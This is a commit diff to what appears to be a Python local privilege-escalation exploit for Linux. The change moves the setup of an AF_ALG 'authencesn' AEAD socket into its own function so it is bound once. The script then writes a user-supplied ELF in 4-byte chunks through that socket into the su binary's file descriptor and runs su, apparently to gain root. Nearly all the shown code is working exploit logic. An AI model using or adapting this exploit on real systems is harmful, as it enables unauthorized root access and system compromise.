Only bind the socket once

This commit is contained in:
Spencer McIntyre
2026-04-30 16:25:07 -04:00
parent 0e02f10078
commit bc0f7602c2
@@ -14,12 +14,15 @@ ALG_SET_AEAD_ASSOCLEN = 4
ALG_SET_AEAD_AUTHSIZE = 5
SOL_ALG = 279
def write(su_fd, offset, chunk):
def setup_sock():
sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
sock.setsockopt(SOL_ALG, ALG_SET_KEY, bytes.fromhex("0800010000000010" + "0" * 64))
sock.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
op_sock, _ = sock.accept()
return op_sock
def write(op_sock, su_fd, offset, chunk):
op_sock.sendmsg(
[b"A" * 4 + chunk],
[
@@ -45,7 +48,9 @@ except:
print('[-] failed to load the ELF executable from the argument, it must be base64+gzip')
sys.exit(os.EX_USAGE)
op_sock = setup_sock()
for i in range(0, len(elf), 4):
write(su_fd, i, elf[i:i + 4])
write(op_sock, su_fd, i, elf[i:i + 4])
op_sock.close()
os.execvp(su_path, ["su"] + sys.argv[1:])